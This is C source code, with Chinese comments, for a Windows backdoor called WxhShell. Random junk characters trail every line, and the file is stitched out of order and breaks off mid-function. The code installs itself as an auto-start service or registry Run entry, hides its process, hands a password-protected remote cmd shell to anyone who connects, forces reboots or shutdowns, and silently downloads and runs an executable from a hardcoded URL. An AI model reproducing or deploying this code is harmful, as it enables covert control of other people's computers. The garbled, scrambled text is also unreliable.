    if(Boot(SHUTDOWN)) R.T-Ptene  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ZO<8|bW  
    else { vBx^zDe  
    closesocket(wsh); =;=V4nKN  
    ExitThread(0); E}=NZqOB!  
    } O;BPd:<  
    break; a)Ek~{9  
    } I>#ChV)(#  
  // 获取shell <UdD@(iZ#  
  case 's': { ~S!kn1&O  
    CmdShell(wsh); &:*+p-!2<  
    closesocket(wsh); {eEWfMKIn  
    ExitThread(0); GcCs}(eo  
    break; _'U?!  
  } E;H(jVZ  
  // 退出 n #I}!x>2  
  case 'x': { P0z{R[KBH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =[+&({  
    CloseIt(wsh); 5#\p>}[HG  
    break; u_8 22Z  
    } NG UGN~p  
  // 离开 @\8gzvkt  
  case 'q': { A#: c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :<8V2  
    closesocket(wsh); 8v 1%H8  
    WSACleanup(); Z-a(3&  
    exit(1); yZ$;O0f&&  
    break; ?/MXcI(  
        } ~[q:y|3b  
  } `&zobbwq  
  } 1I_q3{  
8]\h^k4f  
  // 提示信息 {fv8S;|u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oZ:F3 GQ4Q  
} ueBoSZRWX  
  } F@bCm+z-  
K<JP9t6Qd  
  return; |qDfFGYf  
} QvN <uxm  
L0  2~FT  
// shell模块句柄 7=A9E]:  
int CmdShell(SOCKET sock) 2(/ /slP  
{ $yFuaqG`Wo  
STARTUPINFO si; KocXSh U  
ZeroMemory(&si,sizeof(si)); {WOfT6y+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G5J ZB7C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %esZ}U   
PROCESS_INFORMATION ProcessInfo; >C&<dO#i  
char cmdline[]="cmd"; M~F2cX W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SfSEA^@|  
  return 0; \<x_96jt!\  
} #@s~V<rW  
Q8cPKDB  
// 自身启动模式 wg_CI,Kq  
int StartFromService(void) t>@3RBEK  
{ d|+jCTKS  
typedef struct _hL4@ C  
{ gr{Sh`Cm-  
  DWORD ExitStatus; 3|r!*+.  
  DWORD PebBaseAddress; p Y>-N  
  DWORD AffinityMask; G0Tc}_o<Y  
  DWORD BasePriority; :vyf-K 74M  
  ULONG UniqueProcessId; @b\_696.  
  ULONG InheritedFromUniqueProcessId; YPDsE&,J)  
}   PROCESS_BASIC_INFORMATION; 7d8qs%nA  
S{7ik,Gdg  
PROCNTQSIP NtQueryInformationProcess; 6x,=SW@4  
>1pH 91c'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ={@ @`yP^$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KqUSTR1e[  
@/NZ>.  
  HANDLE             hProcess; i=H>D  
  PROCESS_BASIC_INFORMATION pbi; H6S vU  
gs8@b5 RSb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9Sl|l.;!  
  if(NULL == hInst ) return 0; V^/^OR4k  
gJ8 c]2c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D)7$M]d%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0QH3,Ps1C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MXJ9,U{<C'  
C{i;spc!bi  
  if (!NtQueryInformationProcess) return 0; #]a51Vss  
vek:/'sj3p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J K]tcP  
  if(!hProcess) return 0; IBNQmVRrI  
y&=19 A#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "M0l;  
k+r9h'd   
  CloseHandle(hProcess); cPaWJ+c  
lrX0c$)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 't?7.#,6O  
if(hProcess==NULL) return 0; ~G:2iSi(#  
v[DbhIXU  
HMODULE hMod; *[~o~e/YCb  
char procName[255]; g74z]Uj.B  
unsigned long cbNeeded; }%FuL5Tx  
4|41^B5Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1 u_2 4  
.C;_4jE  
  CloseHandle(hProcess); n ,:.]3v%  
_AB9BQm  
if(strstr(procName,"services")) return 1; // 以服务启动 {!eANm'  
X<}o> 6|d  
  return 0; // 注册表启动 agU!D[M_G  
} :8-gm"awL5  
KW7? : x  
// 主模块 ZMMo6;  
int StartWxhshell(LPSTR lpCmdLine) .A!0.M|  
{ ZWhmO=b!  
  SOCKET wsl; tvH\iS#V  
BOOL val=TRUE; D<3V#Opw  
  int port=0; l8AEEG8>  
  struct sockaddr_in door; ZIL| .<8I  
n$|c{2]=  
  if(wscfg.ws_autoins) Install(); zvb} p  
9C)3 b3  
port=atoi(lpCmdLine); /b:t;0G  
i Kk"j   
if(port<=0) port=wscfg.ws_port; +=~%S)9F  
O:^LQ  
  WSADATA data; ?7nr\g"g(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .i&ZT}v3  
"3i80R\w`F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _X2EBpZp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -llx:  
  door.sin_family = AF_INET; t-7U1B}=<C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @-&(TRbZo  
  door.sin_port = htons(port); wAl}:|+n  
uGUv~bE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hKZ`DB4  
closesocket(wsl); W6Aj<{\F  
return 1; 6;[/ 9  
} 1S(\2{Ylo  
[&pW&>p3  
  if(listen(wsl,2) == INVALID_SOCKET) { 9ze|s^  
closesocket(wsl); s\C8t0C  
return 1; it\DZGsg  
} D_n}p8blT  
  Wxhshell(wsl); ZAX0n!db3  
  WSACleanup(); w0j/\XN 2s  
yB4H3Q )  
return 0; *fH_lG%  
pba8=Z  
} 7.e7Fi{  
Vl 19Md  
// 以NT服务方式启动 95^i/6Gl!P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gkv~e?Kc~^  
{ \SiHrr5  
DWORD   status = 0; S2 "=B&,}  
  DWORD   specificError = 0xfffffff; Y%0d\{@a  
o`\.I&Ij  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wLOQhviI^-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (\T0n[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p>:ef<.i  
  serviceStatus.dwWin32ExitCode     = 0; G=Hf&l  
  serviceStatus.dwServiceSpecificExitCode = 0; t `Y!"l  
  serviceStatus.dwCheckPoint       = 0; 8@ %mnyQ  
  serviceStatus.dwWaitHint       = 0; N=T.l*8  
EY)Gi`lK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5K ,#4EOV  
  if (hServiceStatusHandle==0) return; IObx^N_K  
_}e7L7B7g  
status = GetLastError(); fzS`dL5,W  
  if (status!=NO_ERROR) mGe|8In  
{ GjeUUmr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Cx+WLD  
    serviceStatus.dwCheckPoint       = 0; iO*`(s  
    serviceStatus.dwWaitHint       = 0; &whX*IZ{  
    serviceStatus.dwWin32ExitCode     = status; ]dHB}  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^.D}k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a;"Uz|rz  
    return; 1^L`)Up  
  } \6lh `U  
xEVLE,*?>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JvfQib  
  serviceStatus.dwCheckPoint       = 0; oe!:|ck<  
  serviceStatus.dwWaitHint       = 0; {4: -0itG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fimb]C I|x  
} ,jRcl!n`  
3a#PA4Ql  
// 处理NT服务事件,比如:启动、停止 nw0L1TP/J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MCk^Tp!  
{ n1*&%d'7  
switch(fdwControl) pd4cg?K  
{ g@@&sB-A"  
case SERVICE_CONTROL_STOP: l]_b;iux  
  serviceStatus.dwWin32ExitCode = 0; <Zp^lDxa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mny'9hsl  
  serviceStatus.dwCheckPoint   = 0; ?C &x/2lt  
  serviceStatus.dwWaitHint     = 0; dU]i-NF  
  { K4!P'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P3iA(3I24<  
  } X"[dQ_o  
  return; k7^R,.c@  
case SERVICE_CONTROL_PAUSE: !TP6=ks  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ohrw\<xsu  
  break; g4:VR:o  
case SERVICE_CONTROL_CONTINUE: %5JW< 9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  9<|m4  
  break; a`H\-G  
case SERVICE_CONTROL_INTERROGATE: FUaI2  
  break; +7Yu^&  
}; hCzjC|EO~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #(%t*"IY;  
} )n7|?@5U  
|l|_dn  
// 标准应用程序主函数 9W*.lf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V43nws "4  
{ 3{<R5wUo"  
+w"_$Tj@;  
// 获取操作系统版本 1GtOA3,~;-  
OsIsNt=GetOsVer(); 07x=`7hs}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j$@?62)6  
[@m[V1D  
  // 从命令行安装 [}>#YPZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1~%o}+#-  
,e9CJ~a  
  // 下载执行文件 u8Y~_)\MA  
if(wscfg.ws_downexe) { '#v71,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m CM|&u  
  WinExec(wscfg.ws_filenam,SW_HIDE); [2Iau1<@  
} tbq|,"  
Ko#4z%Yq  
if(!OsIsNt) { z!fdx|PUX  
// 如果时win9x,隐藏进程并且设置为注册表启动 u(W^Nou/+  
HideProc(); c~P)4(udT  
StartWxhshell(lpCmdLine); (NX)o P  
}  ]}Pl%.  
else [ S5bj]D  
  if(StartFromService()) hwiKOP  
  // 以服务方式启动 HOE2*4r  
  StartServiceCtrlDispatcher(DispatchTable); 3&es]1b  
else }wG,BB%N  
  // 普通方式启动 wGPotPdE2  
  StartWxhshell(lpCmdLine); EMLx?JnP  
osl=[pm  
return 0; \}Dpb%^\  
} D%-{q>F!gf  
tqK=\{U  
D9~}5  
OCCEL9d  
=========================================== EYG"49 c  
o]A XT8  
;Xqn-R  
d7* CwY9"  
Yi 6Nw+$  
kl" ]Nw'C  
" -Q#o)o  
C` pp  
#include <stdio.h> O@s{uZ|A6  
#include <string.h> h1# S+k  
#include <windows.h> 80Ag  
#include <winsock2.h> Y)|~:& tZ  
#include <winsvc.h> <yZP|_  
#include <urlmon.h> 2B^~/T<\  
R*087X7 N|  
#pragma comment (lib, "Ws2_32.lib") 8x9Rm  
#pragma comment (lib, "urlmon.lib") 4IZlUJ?j+c  
/|?F)%v\  
#define MAX_USER   100 // 最大客户端连接数 |H 8^  
#define BUF_SOCK   200 // sock buffer I~)cYl:|G  
#define KEY_BUFF   255 // 输入 buffer &&WDo(r3  
5:UyUB  
#define REBOOT     0   // 重启 Km,*)X.-5  
#define SHUTDOWN   1   // 关机 W2`.RF^  
!i^]UN   
#define DEF_PORT   5000 // 监听端口 }qAVN  
L1wZU,o  
#define REG_LEN     16   // 注册表键长度 P.c O6+jGR  
#define SVC_LEN     80   // NT服务名长度 H'EY)s Hi  
ZRnL_ z~  
// 从dll定义API pYt/378w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QQFf5^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3[r";Wt#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z'Q*L?E8M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %*kLEA*v  
"}@i+oS  
// wxhshell配置信息 Lj8)' [K"  
struct WSCFG { n+HsQ]z.  
  int ws_port;         // 监听端口 3y ryeS  
  char ws_passstr[REG_LEN]; // 口令 .5.8;/ /  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'seyD  
  char ws_regname[REG_LEN]; // 注册表键名 rnO0-h-;  
  char ws_svcname[REG_LEN]; // 服务名 +dw!:P &  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %hc'dZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1* ^'\W.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0z7L+2#b^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `B:"6nW6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /Wu|)tx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U'y,YtF@  
:I \9YzSs@  
}; @DuK#W"E u  
03([@d6<E  
// default Wxhshell configuration mRwT_(;t  
struct WSCFG wscfg={DEF_PORT, $w)~xE5;  
    "xuhuanlingzhe", ;#&fgj  
    1, -f9]v9|l  
    "Wxhshell", UQI f}iR  
    "Wxhshell", o>F*Itr{  
            "WxhShell Service", *tc{vtuu~^  
    "Wrsky Windows CmdShell Service", %v{1# ~u  
    "Please Input Your Password: ", 44HiTWQS?l  
  1, .'1SZe7O  
  "http://www.wrsky.com/wxhshell.exe", /ZW&0 E  
  "Wxhshell.exe" _9@ >;]  
    }; >.<ooWw  
YTQps&mD.  
// 消息定义模块 _6MdF<Xb/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B[F-gq-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ka/XK[/'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 02\JzBU  
char *msg_ws_ext="\n\rExit."; m!O;>D  
char *msg_ws_end="\n\rQuit."; Yp1bH+/u  
char *msg_ws_boot="\n\rReboot..."; gcf6\f}\<  
char *msg_ws_poff="\n\rShutdown..."; Dx-KMiQ,"(  
char *msg_ws_down="\n\rSave to "; q+ pOrGh  
5f^>b\8+ |  
char *msg_ws_err="\n\rErr!"; zN{JJ3-  
char *msg_ws_ok="\n\rOK!"; RJ~ %0  
gg^1b77hT  
char ExeFile[MAX_PATH]; !VP %v&jKm  
int nUser = 0; 8uch i  
HANDLE handles[MAX_USER]; _<zfQZai  
int OsIsNt; L9FHgl?  
hO#t:WxFI  
SERVICE_STATUS       serviceStatus; q'G,!];qL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \NK-L."[  
}$kQs!#  
// 函数声明 Puh$%;x  
int Install(void); `uo, __y  
int Uninstall(void); ;AIc?Cg  
int DownloadFile(char *sURL, SOCKET wsh); y&oNv xG-  
int Boot(int flag); tmJgm5v  
void HideProc(void); c|AtBgvf  
int GetOsVer(void); WKl+{e  
int Wxhshell(SOCKET wsl); TWd;EnNM  
void TalkWithClient(void *cs); 909md|9K3  
int CmdShell(SOCKET sock); zl%>`k!>  
int StartFromService(void); 6X)@ajGWg~  
int StartWxhshell(LPSTR lpCmdLine); yz\c5  
}]+xFj9[>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yGj.)$1},@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;o-yQmdh  
(GcT(~Gq)D  
// 数据结构和表定义 zhblLBpeE\  
SERVICE_TABLE_ENTRY DispatchTable[] = SDYv(^ f ,  
{ 2c(aO[%h9  
{wscfg.ws_svcname, NTServiceMain}, Jblj^n?Bm  
{NULL, NULL} 7dOyxr"H-  
}; zt=0o| k  
%Dig)<yx  
// 自我安装 <>Y?v C  
int Install(void) LL*mgTQ  
{ bAwl:l\`  
  char svExeFile[MAX_PATH]; Q_p[k KH  
  HKEY key; ?_g1*@pA  
  strcpy(svExeFile,ExeFile); T vtm`Yk\  
{9LWUCpsf  
// 如果是win9x系统,修改注册表设为自启动 LF*&(NC  
if(!OsIsNt) { 0;.<~;@h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JkQ\)^5v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;V5yXNQ   
  RegCloseKey(key); ~1kXUWq3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k2 Q qZxm!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5x8+xw3Eh  
  RegCloseKey(key); XYEv&-M`?w  
  return 0; f)Xr!7  
    } <F=9*.@D   
  } 1HT_  
} E?)656F[  
else { mQ~:Y  
Wu1{[a|  
// 如果是NT以上系统,安装为系统服务 ?rYT4vi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b)# Oc,  
if (schSCManager!=0) ;GGK`V  
{ 'gso'&Uaj  
  SC_HANDLE schService = CreateService :dI\z]Y(  
  ( CC^E_jT  
  schSCManager, %^]?5a!  
  wscfg.ws_svcname, As&v Ft P  
  wscfg.ws_svcdisp, ++-{]wB3=.  
  SERVICE_ALL_ACCESS, w ej[+y-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %A/_5;PZ/  
  SERVICE_AUTO_START, 1|r,dE2k9  
  SERVICE_ERROR_NORMAL, fbvbz3N  
  svExeFile, @Xp~2@I=ls  
  NULL, 3AcD,,M>>  
  NULL, Gi2$B76<  
  NULL, zDTv\3rZ4X  
  NULL, BB$oq'  
  NULL l fZ04M{2  
  ); gB'fFkd  
  if (schService!=0) ~|ss*`CT  
  { "= / f$Xf  
  CloseServiceHandle(schService); _aWl]I){5  
  CloseServiceHandle(schSCManager); ;)AfB#:d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0\9K3  
  strcat(svExeFile,wscfg.ws_svcname); 5ExDB6Bx@y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Px FWJ?=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DL'iS  
  RegCloseKey(key); 8flOq"uK^  
  return 0; V5F%_,No  
    } UBv@+\Y8m  
  } v *-0M  
  CloseServiceHandle(schSCManager); @%ip7Y]e  
} PQN@JaD  
} +HT1ct+dI  
-_ C#wtC  
return 1; G q<X4C#|  
} !k3e\v|  
yifY%!@Xu  
// 自我卸载 :#~U<C@o  
int Uninstall(void) KJ2Pb"s  
{ &fa5laJb  
  HKEY key; 7CXW#H  
C'yppl%  
if(!OsIsNt) { }Ew hj>w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j^tW Iz  
  RegDeleteValue(key,wscfg.ws_regname); 39wa|:I  
  RegCloseKey(key); Vwk#qgnX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L"jY+{oLIJ  
  RegDeleteValue(key,wscfg.ws_regname); B.r4$:+jb2  
  RegCloseKey(key); Ian[LbCWB  
  return 0; QqNW}: #  
  } 66x?A0P  
} $$APgj"|<  
} HB+|WW t>  
else { _A13[Mt3  
xL|;VyD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S"Lx%  
if (schSCManager!=0) j>uj=B@  
{ osARA3\Xt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tZ`Ts}\e  
  if (schService!=0) L(T12s  
  { <JMcIV837  
  if(DeleteService(schService)!=0) { bV8g|l-4(  
  CloseServiceHandle(schService); css64WX^0c  
  CloseServiceHandle(schSCManager); 3 >E%e!D%  
  return 0; &k-Vcrcz  
  } ,Ys"W x  
  CloseServiceHandle(schService); 3pf[M{dG  
  } ~x#w<0e>  
  CloseServiceHandle(schSCManager); J^R=dT!  
} I&n  
} X@@8"@/u|*  
yRp"jcD  
return 1; )-*5v D  
} jls-@Wl  
(Yo>Oh4  
// 从指定url下载文件 RrU BpqA  
int DownloadFile(char *sURL, SOCKET wsh) bVP"(H]  
{ rc&%m  
  HRESULT hr; _@S`5;4x  
char seps[]= "/"; xGTP;NT_H  
char *token; ljl^ GFo  
char *file; `.s({/|[  
char myURL[MAX_PATH]; V%$/#sza  
char myFILE[MAX_PATH]; v8AS=sY4r  
T\~x.aH`^  
strcpy(myURL,sURL); bR@p<;G|  
  token=strtok(myURL,seps); =X.LA%Sf=u  
  while(token!=NULL) Z{&cuo.@<]  
  { T~Q JO0  
    file=token; 24 1*!  
  token=strtok(NULL,seps); @(r /dZc  
  }  hI9  
__mF ?m  
GetCurrentDirectory(MAX_PATH,myFILE); BIuK @$  
strcat(myFILE, "\\"); \%UkSO\nO3  
strcat(myFILE, file);  V#VN %{  
  send(wsh,myFILE,strlen(myFILE),0); 7{&|;U  
send(wsh,"...",3,0); &0f5:M{P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %v20~xW :o  
  if(hr==S_OK) 9z6XF]A  
return 0; y;/VB,4V  
else (o3 Iy  
return 1;  : ]C~gc  
N('&jHF  
} n:MdYA5,m  
II6CHjW`;  
// 系统电源模块 x _c[B4Tw  
int Boot(int flag) (5]}5W*  
{ p]3?gK-  
  HANDLE hToken; I? ,>DHUX  
  TOKEN_PRIVILEGES tkp; [eTSZjIN7  
m2AnXY\  
  if(OsIsNt) { 8WnwQ%;m?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L3CP`cx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZP{*.]Qu  
    tkp.PrivilegeCount = 1; ~"A+G4jl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `OSN\"\ad  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '],J$ge  
if(flag==REBOOT) { v:H$<~)E|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |i++0BU  
  return 0; 6}r`/?"A1  
} iLSr*` o  
else { (o`{uj{!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6j ~#[  
  return 0; 21"1NJzP  
} F'0O2KQ  
  } t5 G9!Nn  
  else { X&kp;W  
if(flag==REBOOT) { Y]&j,j&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l\i)$=d&g  
  return 0; ;^Dpl'v%\  
} gEjdN.  
else { =>-Rnc@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Mo^ od<  
  return 0; 'inFKy'H  
} zCk^B/j sM  
} EN/,5<S<,[  
M3.do^ss  
return 1; A0Qb 5e  
} $< JaLS  
}}59V&'t  
// win9x进程隐藏模块 4 r45i:  
void HideProc(void) A}l3cP; `#  
{ dkz=CY3p%X  
q.;u?,|E/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ui?  
  if ( hKernel != NULL ) &v@a5L  
  { PUUwv_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }4,L%$@n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'dn]rV0(C  
    FreeLibrary(hKernel); DMOMh#[  
  } kDsFR#w&`  
\.-bZ$  
return; T:~vk.Or  
} FYpzQ6s~  
x7Yu I  
// 获取操作系统版本 j:v@pzTD  
int GetOsVer(void) fb~ytl<  
{ uLV#SQ=bZN  
  OSVERSIONINFO winfo; {e 14[0U-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YuO.yh_  
  GetVersionEx(&winfo); tS6qWtE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vw9@v`k  
  return 1; M!o##* *`  
  else a^I\ /&aw'  
  return 0; LcTP #  
} #"G]ke1l$  
,0!}7;j_c  
// 客户端句柄模块 {N+$Q'  
int Wxhshell(SOCKET wsl) GB=X5<;  
{ #AJM6* G9  
  SOCKET wsh; $| @ (  
  struct sockaddr_in client; %V7at7>o  
  DWORD myID; n"c[,k+R`U  
EFM5,gB.m  
  while(nUser<MAX_USER) ?Wlb3;  
{ , K~}\CR  
  int nSize=sizeof(client); {ttysQ-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); te-jfmu2  
  if(wsh==INVALID_SOCKET) return 1; J| w>a  
7fZDs j:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wi)_H$KII  
if(handles[nUser]==0) 9dx/hFA  
  closesocket(wsh); |Y ,b?*UF  
else <eWf<  
  nUser++; ZbdZ rE$  
  } X4~y7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b0Ps5G\ u  
3`DQo%<  
  return 0; g,!L$,/F  
} _uy44; zq  
w9EOC$|Y  
// 关闭 socket H&-zZc4\  
void CloseIt(SOCKET wsh) X}Ai -D  
{ rX2.i7i,  
closesocket(wsh); yPb"V  
nUser--; !$gR{XH$]  
ExitThread(0); GjvOM y  
} N 5lDS  
Pd_U7&w,5  
// 客户端请求句柄 8}O lL,fP  
void TalkWithClient(void *cs) i9,ge Q7d  
{ p8Qk 'F=h  
SE1=>S%p  
  SOCKET wsh=(SOCKET)cs; '-Vt|O_Q  
  char pwd[SVC_LEN]; ek*rp`y]  
  char cmd[KEY_BUFF]; %]}  
char chr[1]; |ATvS2  
int i,j; -cAo@}v  
_@ qjV~%Sy  
  while (nUser < MAX_USER) { 286jI7T  
,l\- xSM  
if(wscfg.ws_passstr) { L>Fa^jq5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w;4<h8Wn5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4V)kx[j  
  //ZeroMemory(pwd,KEY_BUFF); #lL^?|M  
      i=0; UGV+/zxIM  
  while(i<SVC_LEN) { ;n*.W|Uph  
=O5pY9UO  
  // 设置超时 KPKt^C  
  fd_set FdRead; kTOzSiq  
  struct timeval TimeOut; lZ]ZDb?P  
  FD_ZERO(&FdRead); y51e%n$  
  FD_SET(wsh,&FdRead); NJWA3zz   
  TimeOut.tv_sec=8; DEKP5?]  
  TimeOut.tv_usec=0; Z>k#n'm^z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "o-z y'I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ r@zs'N  
6]WAUK%h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 98IJu  
  pwd=chr[0]; <lPm1/8  
  if(chr[0]==0xd || chr[0]==0xa) { l<58A7  
  pwd=0; /T0F"e)Ci  
  break; 1Y\DJ@lh  
  } ) j#`r/  
  i++; FpmM63$VN[  
    } 2*;~S4 4  
*v^Jb/E315  
  // 如果是非法用户,关闭 socket |6sp/38#p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q376m-+  
} 823Y\x~>  
Q4#m\KK;i9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _{YWXRC#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /K@XzwM  
;PF<y9M  
while(1) { &R'c.  
aFX=C >M  
  ZeroMemory(cmd,KEY_BUFF); 7W Ly:E"  
uP)'FI  
      // 自动支持客户端 telnet标准   _^Ubs>d=*  
  j=0; /L g)i\R;  
  while(j<KEY_BUFF) { g[' ^L +hd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Z8gRcv{p  
  cmd[j]=chr[0]; 2j [=\K]  
  if(chr[0]==0xa || chr[0]==0xd) { JzQ_{J`k  
  cmd[j]=0; 6,8h]?u.  
  break; fgp]x&5Q  
  } n,y ZRY  
  j++; \h/H#j ZJ  
    } i#n0U/  
y@S$^jk.  
  // 下载文件 3)<yod=  
  if(strstr(cmd,"http://")) { A4x]Qh3OO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t%0VJB,Q2  
  if(DownloadFile(cmd,wsh)) tKOmoC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {L{o]Ii?g  
